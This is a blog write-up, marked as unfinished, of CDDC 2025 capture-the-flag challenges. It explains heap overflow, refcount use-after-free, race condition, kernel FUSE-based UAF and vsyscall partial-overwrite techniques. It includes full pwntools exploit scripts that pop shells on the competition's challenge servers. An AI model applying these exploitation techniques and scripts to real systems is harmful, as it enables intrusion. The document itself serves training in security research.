Cyber Defender's Discovery Camp 2025 Writeups
This writeup is incomplete and still work-in-progress.
This year, I participated as NUS Greyhats
in the DSTA’s BrainHack CDDC University Category and we came out first place once again ✌️
Check out the full list of challenges & writeups done by our club here!
Pwn (Qualifiers) - Account Protocol
After some reversing, we can identify the following operations for the program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def create_account(account_type, data):
"""Opcode 0: Create account
account_type: 0 = binary/wide string, 1 = regular string
Returns: account_id (0-15) or -1 on failure
"""
payload = p8(0) + p8(account_type) + data
s(payload)
def delete_account(account_id):
"""Opcode 1: Delete account (op_1)"""
payload = p8(1) + p8(account_id)
s(payload)
def update_account(account_id, account_type, data):
"""Opcode 2: Update account data
account_type: 0 = binary/wide string, 1 = regular string
"""
payload = p8(2) + p8(account_id) + p8(account_type) + data
s(payload)
def display_account(account_id):
"""Opcode 3: Display account data"""
payload = p8(3) + p8(account_id)
s(payload)
def execute_command():
"""Opcode 255: Execute system command"""
payload = p8(255)
s(payload)
We basically get a CRUD menu where we can create, read, update and delete accounts. The accounts hold an account_type
(wide or regular string) and an account_name
(up to 254 characters) and is referred to via an incrementing account_id
(total of 16 accounts allowed).
memory allocation
Upon allocation of a new account, it will allocate two memory chunks using their custom memory alloactor. One to store an account_metadata
struct and the other to store the raw account_name
data.
1
2
3
4
5
6
7
8
struct account
{
uint8_t type; // wide_str = 0, regular_str = 1
uint8_t ref_count;
char *data_ptr; // pointer to account_name
};
acc_metadata = (struct account_metadata *)custom_malloc(0x18u);
acc_data = (char *)custom_malloc(sz);
The custom allocator stores all the memory chunks adjacent to one another in its own mmap'ed
buffer. Unlike regular malloc
, there is no metadata that comes with each memory chunk (such as the chunk size etc).
wide string vs regular string
The program differentiates between a wide string and a regular string. Unlike the regular strlen
or strncpy
that is used for regular strings, the program implements its own functions to implement the equivalent wide-string functions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
size_t wide_strlen(_BYTE *wstr)
{
bool v2; // [rsp+1h] [rbp-19h]
size_t length; // [rsp+Ah] [rbp-10h]
for ( length = 0LL; ; ++length )
{
v2 = 1;
if ( !*wstr )
v2 = wstr[1] != 0;
if ( !v2 )
break;
wstr += 2;
}
return length;
}
void copy_wide_string(_BYTE *dst, _BYTE *src)
{
bool v2; // [rsp+1h] [rbp-21h]
while ( 1 )
{
v2 = 1;
if ( !*src )
v2 = src[1] != 0;
if ( !v2 )
break;
*dst = *src;
dst[1] = src[1];
dst += 2;
src += 2;
}
*dst = 0;
dst[1] = 0;
}
the attack target
One of the functionality for the program is to run system(command)
where command is a hardcoded-string that is allocated after running the command for the first time.
If we are able to overwrite the command on the heap to /bin/sh
, we can eventually pop a shell.
the bug
When calling update_account
, you can modify an account type between a regular string and wide-string.
- Create a regular account of
account_name
with an even-length size (i.e. 20). - If we convert
account
into a wide-string, it will cause a null-byte overflow when writing the 2 null-byte terminator for the wide-string.
If we can arrange the custom-heap such that the null-byte overflows into a meta-data chunk, we can write a null byte to an adjacent account_metadata->type
.
This means that we can use the overflow to change a regular string type into a wide string type, despite it only having a single null byte terminator.
When updating an account, it determines the size of the
account_data
by doing a strlen/wide_strlen based on the type of the account data.This means that if we convert a regular string to a wide-string, the wide_strlen will read into the next adjacent chunk due to the lack of a wide-string terminator (2 null-bytes). This causes wide_strlen to return a larger value and allows us to overwrite the adjacent heap chunk.
the exploit
In order to get this to work, we want to arrange our heap into this state.
- Allocate Account A (regular-str)
- Allocate Account B (regular-str)
- Allocate COMMAND
1
2
3
4
5
6
7
8
9
meta A
________
data A
________
meta B
________
data B
________
CMD
data A
null-byte overflows intometa B
to convert it to a wide-string.data B
overflows intocommand
to overwrite it.- run
system(command)
to get our shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
elf = context.binary = ELF("./account")
libc = elf.libc
if args.REMOTE:
p = remote("cddc2025-challs-nlb-579269aea83cde66.elb.ap-southeast-1.amazonaws.com", 7777)
else:
p = elf.process()
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
def create_account(account_type, data):
"""Opcode 0: Create account
account_type: 0 = binary/wide string, 1 = regular string
Returns: account_id (0-15) or -1 on failure
"""
payload = p8(0) + p8(account_type) + data
s(payload)
def delete_account(account_id):
"""Opcode 1: Delete account (op_1)"""
payload = p8(1) + p8(account_id)
s(payload)
def update_account(account_id, mode, data):
"""Opcode 2: Update account data
mode: 0 = binary/wide string, 1 = regular string
"""
payload = p8(2) + p8(account_id) + p8(mode) + data
s(payload)
def display_account(account_id):
"""Opcode 3: Display account data"""
payload = p8(3) + p8(account_id)
s(payload)
def execute_command():
"""Opcode 255: Execute system command"""
payload = p8(255)
s(payload)
# setup heap state
create_account(1, b"A"*30)
pause()
create_account(1, b"B"*1)
pause()
execute_command()
pause()
# null-byte overflow
update_account(0, 0, b"D"*30)
pause()
# overflow
update_account(1, 0, b"D /bin/bash")
pause()
# run command
execute_command()
pause()
p.interactive()
Pwn (Qualifiers) - Workout
Upon running the program, we are shown a long interactive menu.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*----------*
| WORK OUT |
*----------*
1. New exercise
2. List exercises
3. Delete exercise
4. New routine
5. List routines
6. Delete routine
7. Set exercise to routine
8. Remove exercise from routine
9. Swap exercises in routine
10. View routine details
0. Exit
A tl;dr of how this works is
- Uses a custom sophisticated memory allocator that allows for memory reuse and memory coalescing.
- Create up to 10
Exercise
objects that holds anchar exercise_name[38]
- Create up to 7
Routine
objects that holds up to 10Exercise
objects. - Each
Exercise
object uses auint8 refcount
to determine when it should be free-ed.
The memory allocator is used to allocate Routine
and Exercise
objects.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct Routine
{
void *vtable;
unsigned __int8 day;
void *exercises[10];
}; // size 0x60
struct Exercise
{
ExerciseVTable *vtable;
unsigned __int8 refcount;
unsigned __int8 id;
char name[38];
}; // size 0x30
the bug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 xor_swap_routine_entries(
__int64 this,
WorkoutRoutine *routine,
unsigned __int8 ex_id_1,
unsigned __int8 ex_id_2)
{
// ... truncated ...
if ( ex_id_1 < 0xAu && ex_id_2_ < 0xAu )
{
ex1 = &routine->exercise_slots[ex_id_1_];
ex2 = &routine->exercise_slots[ex_id_2_]; // if v15 == v14, then v8 == v9. This nulls the exercise_slot.
*ex1 = (*ex1 ^ *ex2);
*ex2 = (*ex2 ^ *ex1);
*ex1 = (*ex1 ^ *ex2);
create_success_result();
wrap_success_result(a1);
}
// ... truncated ...
}
- Adding an
Exercise
toRoutine
increases theExercise->refcount
by 1 - Swapping the
Exercise
with itself inRoutine
removes the pointer from theRoutine
- Repeat Step 1 256 times to overflow
Exercise->refcount
back to 1. - Delete the
Exercise
from theRoutine
which callsdestruct_exercise
to decrementExercise->refcount
to 0 which results in it getting free-ed. - Since we did not delete the
Exercise
, we still hold a pointer to the free-edExercise
object and have a UAF.
the exploit
After we have the UAF, we can allocate another Routine
to re-use the free-ed memory. Now we have an overlapping Exercise
and Routine
.
We can delete and re-allocate the exercise to overwrite the Routine->exercises[]
pointers.
This gives us an arbitrary read and arbitrary free. We can create fake chunks to be free-ed and overwrite the vtable
entry to point to a one_gadget
to pop a shell.
exploit script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *
from tqdm import tqdm
elf = context.binary = ELF("workout")
libc = elf.libc
# if args.REMOTE:
# p = remote("localhost", 9999)
p = remote("cddc2025-challs-nlb-579269aea83cde66.elb.ap-southeast-1.amazonaws.com", 9999)
# else:
# p = elf.process()
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
def new_exercise(name):
sla(b"Menu>>", b"1")
sla(b"Name>>", name)
def list_exercise():
sla(b"Menu>>", b"2")
def delete_exercise(id):
sla(b"Menu>>", b"3")
sla(b"id>>", str(id).encode())
def new_routine(id):
sla(b"Menu>>", b"4")
sla(b"0)>>", str(id).encode())
def list_routine():
sla(b"Menu>>", b"5")
def delete_routine(id):
sla(b"Menu>>", b"6")
sla(b"0)>>", str(id).encode())
def set_exercise_to_routine(exercise_id,routine_id):
sla(b"Menu>>", b"7")
sla(b"id>>", str(exercise_id).encode())
sla(b"0)>>", str(routine_id).encode())
def remove_exercise_to_routine(exercise_id,routine_id):
sla(b"Menu>>", b"8")
sla(b"0)>>", str(routine_id).encode())
sla(b"routine>>", str(exercise_id).encode())
def swap_exercise_routine(routine_id, exercise_id_1, exercise_id_2):
sla(b"Menu>>", b"9")
sla(b"0)>>", str(routine_id).encode())
sla(b"routine>>", str(exercise_id_1).encode())
sla(b"routine>>", str(exercise_id_2).encode())
def view_routine_details(id):
sla(b"Menu>>", b"10")
sla(b"0)>>", str(id).encode())
new_exercise(b"aaaaaab") # refcount = 1
new_routine(0)
# overflow refcount to 0
for _ in tqdm(range(255)):
set_exercise_to_routine(0, 0)
swap_exercise_routine(0, 0, 0)
set_exercise_to_routine(0, 0) # refcount = 1
delete_routine(0) # refcount = 0, exercise is free-ed
new_routine(1) # day = 1, refcount = 1 (overlap)
new_exercise(b"zz")
new_exercise(b"XXXXXXXXX")
new_exercise(b"QQQQQQQQX")
delete_exercise(0)
set_exercise_to_routine(1, 1) # write a pointer to routine->exercise[0]
# leak custom memory manager base
new_exercise(b"aaaaaa\x01")
view_routine_details(1)
ru(b"aaaaa")
memorymanager_base = unpack(rl().strip(), "all") - 1
print(f"memory manager base @ {hex(memorymanager_base)}")
# leak elf base via vtable ptr
delete_exercise(0)
new_exercise(b"aaaaaa" + p64(memorymanager_base+0x60-0xa))
view_routine_details(1)
ru(b"[0] ")
elf.address = unpack(rl().strip(), "all") - 0x1cae0
print(f"elf base @ {hex(elf.address)}")
# leak libc base via GOT
delete_exercise(0)
new_exercise(b"aaaaaa" + p64(elf.got.setvbuf-0xa))
view_routine_details(1)
ru(b"[0] ")
libc.address = unpack(rl().strip(), "all") - libc.sym.setvbuf
print(f"libc base @ {hex(libc.address)}")
# now i want a UAF on the second part of a routine
delete_exercise(0)
new_exercise(b"aaaaaa" + p64(memorymanager_base+0x40))
delete_exercise(2)
new_exercise(b"A"*6 + p64(0x4242424242424242) + p8(0x1))
delete_exercise(2)
new_exercise(b"A"*6 + p64(memorymanager_base+0xa0-8)) # write vtable pointer
delete_exercise(3)
new_exercise(b"A"*6 + p64(libc.address + 965765) + p8(0x1)) # write vtable entry to be called
remove_exercise_to_routine(0, 1)
p.interactive()
"""
❯ python3 solve.py
[*] '/mnt/sdb/CTF/2025/CDDC/Quals/pwn/workout/workout'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/mnt/sdb/CTF/2025/CDDC/Quals/pwn/workout/workout': pid 275476
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 255/255 [00:00<00:00, 678.38it/s]
memory manager base @ 0x7faed2d73000
elf base @ 0x55b3fcdc9000
libc base @ 0x7faed2780000
[*] Switching to interactive mode
$ cat flag
CDDC2025{THIS_IS_A_FAKE_FLAG}
"""
Pwn - U-boot
The boot process is fast. Maybe a little too fast.
If your timing is just right, you might slip something in before the system notices. Can you catch the gap and make your move?
We are given a single program called uboot
.
Traditionally,
uboot
is a boot loader for embedded systems that is used to launch the kernel. This challenge program is NOT a realuboot
program but is just a simple re-implementation of it.
Upon running the program, we are introduced with a login prompt, followed by the booting of some ELF program that we do not seem to have.
1
2
3
4
5
6
7
8
9
10
11
$ ./uboot
U-Boot 2024.03.12 <Jun 13 2025 - 12:00:00>
open: No such file or directory
Press Enter to U-Boot login.
Login: a
Password: b
Authentication failed. Just Booting.
Error: no ELF loaded. Use 'load' first.
Reverse-Engineering the uboot
program
We can throw uboot
into IDA to decompile the program and see what it is doing under the hood.
This snippet of code shows us that it is trying to read and load an ELF file named nvr_kernel
. We do not have access to this file locally, but it seems to exist on the remote server.
1
2
3
4
5
s1_1[0] = "load";
s1_1[1] = "./nvr_kernel";
s1_1[2] = 0LL;
load_elf(s1_1);
puts("\nPress Enter to U-Boot login.");
Next, we can look at the login
function where we see that the uboot
program actually uses hardcoded credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
_BOOL8 login()
{
char s[64]; // [rsp+0h] [rbp-90h] BYREF
char s1[72]; // [rsp+40h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+88h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Login: ");
if ( !fgets(s, 64, stdin) )
return 0LL;
s[strcspn(s, "\r\n")] = 0;
printf("Password: ");
if ( !fgets(s1, 64, stdin) )
return 0LL;
s1[strcspn(s1, "\r\n")] = 0;
return !strcmp(s, "admin") && !strcmp(s1, "uboot4dmin123!@");
}
Using the uboot
menu to read nvr_kernel
We can use this hardcoded credentials to connect to the remote server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nc chal.h4c.cddc2025.xyz 11835 # run this on remote
U-Boot 2024.03.12 <Jun 13 2025 - 12:00:00>
Loaded 27880 bytes into memory # we note that nvr_kernel has 27880 bytes
Press Enter to U-Boot login.
Login: admin
Password: uboot4dmin123!@
Authentication successful. Welcome to U-Boot Simulator.
U-Boot Simulator
Type 'help' for commands.
uboot> help
Available commands:
help - this help
exit - quit simulator
md <addr> <count> - memory display (hex)
mw <addr> <value> - memory write (byte)
setenv <var> <val> - set environment variable
printenv - show env list
boot - execute loaded KERNEL
boota - boot Android system
As we can see, the boot menu contains some useful commands such as md
and mw
(which allows us to read/write memory).
By reverse-engineering the program, we note that mw
is actually not implemented and it does not actually write anything to memory.
Instead, md 0 27880
can help us to read the entire nvr_kernel
from memory.
1
2
3
4
5
6
7
8
9
# nvr_hexdump.txt contains the output from the `md 0 27880` command
with open("./nvr_hexdump.txt", "rb") as f:
x = f.readlines()
# convert the hex dump to raw bytes basically
elf = b''.join([bytes.fromhex(i.split(b": ")[1].decode().replace("\n", "").replace(" ", "")) for i in x])
with open("./nvr_elf", "wb") as f:
f.write(elf)
Reverse-Engineering nvr_kernel
binary
Without going too much into the details, the nvr_kernel
shell provides us with a few commands that we can run. One of the more interesting commands is print device
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 __fastcall print_device(int *uid)
{
FILE *stream; // [rsp+18h] [rbp-118h]
char s[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+128h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("This is CDDC NVR System");
if ( !*uid )
{
stream = fopen("flag", "r");
if ( stream )
{
puts("=== FLAG ===");
while ( fgets(s, 256, stream) )
fputs(s, stdout);
fclose(stream);
puts("\n============");
}
else
{
printf("[!] Flag file not found: %s\n", "flag");
}
}
putchar(10);
return v4 - __readfsqword(0x28u);
}
If our uid
is 0
(which typically indicate root permissions), the flag will be printed to us.
Interestingly, one of the commands that we have access to allows us to reboot the nvr_kernel.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall reboot_nvr_kernel(int *uid)
{
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))reboot_nvr_kernel_internal, uid) )
perror("pthread_create");
else
pthread_detach(newthread);
return v3 - __readfsqword(0x28u);
}
void *__fastcall reboot_nvr_system(int *uid)
{
int v2; // [rsp+14h] [rbp-Ch]
v2 = *uid;
*uid = 0;
puts("Shutdown NVR system...");
sub_247F();
*uid = v2;
puts("Boot complete.\n");
return 0LL;
}
This is done by spawning a new thread which sets uid
to 0 while the system is still booting.
Since this is done in a separate thread, we can still run commands on the main thread.
This creates a race condition where we can run print device
with uid = 0
while the kernel is rebooting.
Solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p = remote("chal.h4c.cddc2025.xyz", 11835)
p.sendlineafter(b"login.", b"")
p.sendlineafter(b"Login:", b"admin")
p.sendlineafter(b"Password:", b"uboot4dmin123!@")
# we need to set init=/bin/sh to get an interactive nvr_system shell
p.sendlineafter(b"uboot>", b'setenv bootargs init=/bin/sh')
p.sendlineafter(b"uboot>", b"boot")
# race condition, reboot and print device at the same time
p.sendlineafter(b"\n#", b"reboot")
p.sendlineafter(b"\n#", b"print device")
p.interactive()
Pwn - Eclipse
This is a 300 points kernel pwn challenge that I did not manage to solve during the CTF. I managed to get RIP control but did not manage to successfully leak with msgmsg
.
We are provided with a kernel module eclipse.ko
that is loaded into the kernel on boot.
We have to exploit this kernel module to obtain root permissions and read the flag.
Conveniently, the source code is also given to us in eclipse.c
.
Kernel Module Functionalities
The kernel module exposes to us some heap functionalities alloc
, read
, write
, realloc
that we can call from userspace.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static long eclipse_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
struct user_req req;
if (!arg)
{
printk(KERN_ERR "eclipse_ioctl: invalid user request\n");
return -EINVAL;
}
if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
{
printk(KERN_ERR "eclipse_ioctl: copy_from_user failed\n");
return -EINVAL;
}
switch (cmd)
{
case CMD_ALLOC:
return eclipse_alloc(&req);
case CMD_SHOW:
return eclipse_read(&req);
case CMD_WRITE:
return eclipse_write(&req);
case CMD_REALLOC:
return eclipse_realloc(&req);
default:
printk(KERN_ERR "eclipse_ioctl: invalid command\n");
return -EINVAL;
}
}
The eclipse_alloc
function allocates a kheap chunk between size 64 and 1024.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int eclipse_alloc(const struct user_req *req)
{
if (req->size < 64 || req->size > 1024)
{
printk(KERN_ERR "eclipse_alloc: invalid allocation size\n");
return -EINVAL;
}
eclipse->data = kmalloc(req->size, GFP_KERNEL);
if (!eclipse->data)
{
printk(KERN_ERR "eclipse_alloc: allocation failed\n");
return -ENOMEM;
}
eclipse->size = req->size;
spin_lock_init(&eclipse->lock);
return 0;
}
eclipse_read
does nothing and is simply a placeholder :/.
1
2
3
4
5
static ssize_t eclipse_read(const struct user_req *req)
{
printk(KERN_INFO "eclipse_read called\n");
return 0;
}
eclipse_write
reads from userspace and writes into the kheap chunk.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static ssize_t eclipse_write(const struct user_req *req)
{
unsigned long flags;
spin_lock_irqsave(&eclipse->lock, flags);
if (req->size < 0 || req->size > eclipse->size)
{
spin_unlock_irqrestore(&eclipse->lock, flags);
printk(KERN_ERR "eclipse_write: invalid buffer size\n");
return -EINVAL;
}
if (req->data)
{
spin_unlock_irqrestore(&eclipse->lock, flags);
if (copy_from_user(eclipse->data, req->data, req->size)) // not protected by mutex
{
printk(KERN_ERR "eclipse_write: copy_from_user failed\n");
return -EFAULT;
}
spin_lock_irqsave(&eclipse->lock, flags);
}
else
{
spin_unlock_irqrestore(&eclipse->lock, flags);
printk(KERN_ERR "eclipse_write: invalid buffer\n");
return -EINVAL;
}
spin_unlock_irqrestore(&eclipse->lock, flags);
return 0;
}
eclipse_realloc
free-s the old buffer and reallocates a new one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static ssize_t eclipse_realloc(const struct user_req *req)
{
unsigned char *new_data, *old_data;
if (req->size < 64 || req->size > 1024)
{
printk(KERN_ERR "eclipse_realloc: invalid buffer size\n");
return -EINVAL;
}
if (req->size != eclipse->size)
{
new_data = kmalloc(req->size, GFP_KERNEL);
if (!new_data)
return -ENOMEM;
spin_lock_irq(&eclipse->lock);
old_data = eclipse->data;
eclipse->data = new_data;
eclipse->size = req->size;
spin_unlock_irq(&eclipse->lock);
kfree(old_data);
}
return 0;
}
Vulnerability Analysis
We can note that there is some form of synchronization being done in the program to prevent race conditions, however there is still a race condition bug in eclipse_write
and eclipse_realloc
.
The spinlock is unlocked right before the data is copied into the kernel heap buffer in eclipse_write
.
1
2
spin_unlock_irqrestore(&eclipse->lock, flags);
if (copy_from_user(eclipse->data, req->data, req->size)) // not protected by mutex
In eclipse_realloc
, the spinlock is unlocked once again before the kernel heap buffer is free-ed.
The improper use of spinlock gives rise to the potential to trigger a Use-After-Free with the following steps
eclipse_write
acquire theeclipse->data
pointer to store the data to be copied from userspace.- Before the write is done,
eclipse_realloc
will allocate a new pointer and free the oldeclipse->data
pointer. - Since
eclipse_write
is still holding onto the old free-edeclipse->data
pointer, we will write into free-ed memory.
Exploit Strategy
Kernel Protections
Before we dive into our exploit strategy, we have to consider what kernel protections are enabled. Looking at start.sh
, we can tell that
SMAP
disabledSMEP
disabledKPTI
enabled (cannot access userspace pages despite lack of SMEP or SMAP)- Single core (difficult to win race conditions)
1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-drive file=./rootfs.img,format=raw,index=0,media=disk \
-append "root=/dev/sda rw console=ttyS0 oops=panic panic=1 pti=on kaslr init=/init" \
-netdev user,id=net0,hostfwd=tcp::10022-:22,hostfwd=tcp::9000-:9000 \
-device e1000,netdev=net0,id=nic0 \
-nographic \
-cpu qemu64 \
-s
Additionally, we can also use kchecksec
from bata24/gef to look at other kernel protections that are configured into the kernel at compile-time.
1
2
3
4
5
6
7
8
9
# userfaultfd is disabled
gef> kchecksec
# ...
vm.unprivileged_userfaultfd : Syscall unsupported (userfaultfd syscall: Disabled)
kernel.unprivileged_bpf_disabled : Syscall unsupported (bpf syscall: Disabled)
# ...
$ ls /dev/fuse
/dev/fuse # FUSE filesystem is enabled. This is important later.
To make your debugging experience better, you should use extract-vmlinux script to extract
vmlinux
frombzImage
, and use vmlinux-to-elf to extract debug information fromvmlinux
.This will allow you to utilize many convenient kernel debug commands that are available in bata24/gef.
Winning Race Conditions
As mentioned before, since the kernel is only running with one core, it will be difficult to win race conditions just by running multiple threads since only one thread can run at a time.
As such, we would have to utilize some commonly known techniques such as userfaultfd or FUSE that can help us to pause kernel threads when certain conditions are met.
As shown before, userfaultfd
is not supported in this kernel, but FUSE
is.
FUSE Filesystem
FUSE allows us to create filesystem in userspace without needing to re-write code in the kernel. The kernel would simply redirect filesystem calls back to the userspace.
What this means for us pwners is that we are able to define a set of callback functions that will be triggered when anything tries to interact with our filesystem.
In short, this is how we can use FUSE to block kernel threads and win race conditions:
- Create a FUSE filesystem and register a
read_callback
that is triggered when file contents is read from the FUSE filesystem. - Use
mmap
to map the file into memory. - Do
eclipse_alloc
to allocate a buf, andeclipse_write
to copy from the FUSE-backed memory into the kernel heap buffer. - When
copy_from_user
tries to read the FUSE-backed memory region (aka tries to access contents of file in FUSE), it will pause the kernel thread and triggerread_callback
in userspace. - In
read_callback
, we can triggereclipse_realloc
to free the pointer that we are currently about to copy into. - After the
read_callback
is complete, the write is done (but the pointer has already been free-ed). - We have achieved a UAF!
This significantly simplifies our exploit as we no longer have to rely on unreliable race condition exploits that would frequently fail.
Getting a Leak
Now that we have a trivial UAF, we will need a way to get a kernel address leak.
Despite
msgmsg
being allocated with theGFP_KERNEL_ACCOUNT
flag, it is still allocated into the same cache as our target eclipse chunk that is allocated with theGFP_KERNEL
flag. This is because theMEM_CG
security configuration is disabled.Otherwise, we would need to do cross-cache to get UAF on a
msgmsg
chunk.
Getting RIP control
Pwn - Virtual llama
This is a partial writeup as I did not solve this during the CTF and do not have access to the second part of the challenge.
Is this secure service? nc chal.h4c.cddc2025.xyz 30015
Note :
- /bin/bash, /bin/sh are not available
- This challenge doesn’t need brute force.
Reverse Engineering
The program is very straightforward. We have a simple buffer overflow with all protections enabled except the stack canary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// ❯ checksec prob
// [*] './CDDC/Finals/pwn/llama/chal/prob'
// Arch: amd64-64-little
// RELRO: Full RELRO
// Stack: No canary found
// NX: NX enabled
// PIE: PIE enabled
// SHSTK: Enabled
// IBT: Enabled
// Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("[*] This CDDC 2025 Time Capsule");
printf("[>] Input your comment: ");
read(0, buf, 80uLL);
return 0;
}
int win()
{
char *env; // rax
puts("[*] You WIN!!");
env = getenv("HINT");
return puts(env);
}
Ideating our exploit strategy
Our goal is to call the win
function, but it is non trivial to do so without knowing any LIBC or ELF address.
If we look at the stack at the point when we return from the main
function, we can see that we are only able to achieve a partial overwrite on the libc address.
1
2
3
4
5
6
► 0x5637770f9281 <main+135> ret <0x7fc5764f2d90; __libc_start_call_main+128>
──────────────────────────────────────────────────────────────────────────────────
pwndbg> tele $rsp # we can print the top of our stack
00:0000│ rsp 0x7ffcacd59d48 —▸ 0x7fc5764f2d90 (__libc_start_call_main+128) ◂— mov edi, eax
01:0008│ 0x7ffcacd59d50 ◂— 0x0
02:0010│ 0x7ffcacd59d58 —▸ 0x5637770f91fa (main) ◂— endbr64
In order to actually call the win
function, we would want to do a partial overwrite of the main
function to convert it to win
and return there.
If we actually looked at the provdied Dockerfile, there is a hint given (i did not notice this during the CTF…)
1
2
3
# Docker host server's boot option setting:
# echo 'GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"' >> /etc/default/grub
# reboot
The kernel is set to run with vsyscall=emulate
configuration. If we do some research on this, we can find writeups like this.
Essentially, there is a region of memory that is loaded at a fixed address called vsyscall. The purpose of this is to allow the kernel to run syscalls without leaving the userspace for efficiency purposes, by emulating some of the more commonly used syscalls such as gettimeofday()
etc.
What this means for us is that we have a very useful ret
gadget that we can use to fill the space between the stack until the main
address and achieve our partial overwrite to call win
.
Solution
1
2
3
4
from pwn import *
p = process("./prob")
p.send(b"A"*40 + p64(0xffffffffff600000)*2 + b"\xc9")
p.interactive()
Pwn - Escape Room
Reverse - Flag Checker
Analyze the code, please find the right input!
This challenge is a typical CTF flag checker where we have to find the correct input to get the flag.
Reverse-engineering the program
We can throw the program into IDA and analyze the main function.
As we can tell, our input should be 4000 characters long, and return 1
from the check_flag_1
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+Ch] [rbp-10E4h]
char s[16]; // [rsp+E0h] [rbp-1010h] BYREF
unsigned __int64 v6; // [rsp+10E8h] [rbp-8h]
v6 = __readfsqword(0x28u);
printf("Input correct value: ");
if ( fgets(s, 4100, stdin) )
{
s[strcspn(s, "\n")] = 0;
if ( strlen(s) == 4000 )
{
if ( (unsigned int)check_flag_1(s) )
{
printf("Congratulations! Flag is CDDC2025{");
for ( i = 0; i <= 63; ++i )
putchar(s[dword_73FC0[i]]);
puts("}");
}
else
{
puts("Wrong :(");
}
return 0LL;
}
else
{
puts("Wrong :(");
return 1LL;
}
}
else
{
puts("Error reading input");
return 1LL;
}
}
We can look at check_flag_1
function to see the constraints for the correct input.
1
2
3
4
5
6
7
__int64 __fastcall check_flag_1(char *s)
{
if ( ((unsigned __int8)*s ^ (unsigned __int8)byte_73020) == -78 )
return check_flag_2(s);
else
return 0LL;
}
The check_flag_1
function checks the first character of our input by doing a XOR operation.
As we continue to analyze the subsequent functions, we realize that there are 4000 functions that checks each character of the flag one at a time. To retrieve the entire 4000 characters, we need to automate this.
Ideating the solution
From IDA, we can tell that the first check_flag
function is at 0x49773
and the last check_flag
function is at 0x1490
.
Initially, I thought of 3 ways to do this
- Brute-force character by character. We can tell if a character is correct if we have more code coverage / more code is executed.
- We can use a symbolic execution engine like angr to try and solve the constraints of our input.
- We can write a parser to read the assembly instructions and convert it into equations that we can solve using z3.
Option 1 would be difficult for me beacuse I am not familiar with any instrumentation engines like pintool. Setting breakpoints by using a debugger might be too slow.
Option 2 would be the easiest to implement but difficult to get to work since we are prone to path explosion if we try to get the execution engine to step through all 4000 functions without any extra instrumentation.
